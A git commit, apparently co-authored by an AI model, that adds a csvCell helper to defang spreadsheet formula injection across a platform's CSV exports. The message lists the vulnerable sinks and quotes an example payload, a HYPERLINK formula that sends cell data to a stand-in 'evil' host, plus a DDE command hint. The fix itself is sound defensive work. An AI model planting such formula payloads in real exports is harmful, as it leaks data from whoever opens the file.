fix(security): defang CSV formula injection in all exports

CSV cells whose first character is one of `=`, `+`, `-`, `@`, `\t`, `\r`
are interpreted as formulas by Excel and LibreOffice when the file is
opened. `=HYPERLINK(...)` and `=WEBSERVICE(...)` execute on cell focus
with no prompt and can exfiltrate row data to an attacker URL; DDE
(`=cmd|...`) reaches RCE behind the "enable content" prompt.

The platform exposes anonymous-attacker reachable sinks:

- `application.submit` is publicProcedure with `projectName` as
  `z.string().min(2).max(200)` — no character filter — so a project
  titled `=HYPERLINK("https://evil/?d="&A1,"Click")` lands in every
  admin export that includes Project.title.
- `userAgent` from any unauthenticated request is persisted to
  `AuditLog.userAgent` and dumped verbatim into the audit-log CSV.

Three independent CSV builders all only escaped commas/quotes/newlines
and missed the formula-prefix class:

- `src/components/shared/csv-export-dialog.tsx` — used by
  export.evaluations, export.assignments, export.filteringResults,
  export.auditLogs, export.projectScores
- `src/components/admin/round/ranking-dashboard.tsx`
- `src/server/routers/lunch.ts` (lunch.exportManifestCsv)

Centralized the fix in a new `src/lib/csv.ts` `csvCell` helper that
prefixes a single quote when the value starts with a formula trigger,
then applies the standard quote/escape rules. Wired into all three
builders.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
Matt
2026-04-29 04:14:42 +02:00
parent 9d0beed02f
commit fbc42f11fd
4 changed files with 61 additions and 45 deletions

40
src/lib/csv.ts Normal file
View File

@@ -0,0 +1,40 @@
/**
* CSV cell escaping that prevents formula injection.
*
* A CSV cell whose first character is `=`, `+`, `-`, `@`, `\t`, or `\r` is
* interpreted as a formula by Excel and LibreOffice when the file is opened.
* Even with the "enable content" prompt for DDE, `=HYPERLINK(...)` and
* `=WEBSERVICE(...)` execute on cell focus and can exfiltrate row data to an
* attacker-controlled URL. Because user-controlled fields (project titles,
* names, free-text feedback, User-Agent strings persisted to audit logs) end
* up in our exports, we must defang any leading formula character.
*
* The defense: prefix the cell with a single quote `'` so spreadsheet apps
* treat the value as text. Then apply standard CSV quoting (wrap in `"` and
* double-up internal quotes) when the cell contains commas, quotes, or
* newlines.
*/
export function csvCell(value: unknown): string {
if (value === null || value === undefined) return ''
let s = String(value)
if (s.length > 0) {
const first = s.charCodeAt(0)
// = + - @ \t \r
if (
first === 0x3d ||
first === 0x2b ||
first === 0x2d ||
first === 0x40 ||
first === 0x09 ||
first === 0x0d
) {
s = `'${s}`
}
}
if (s.includes(',') || s.includes('"') || s.includes('\n')) {
return `"${s.replace(/"/g, '""')}"`
}
return s
}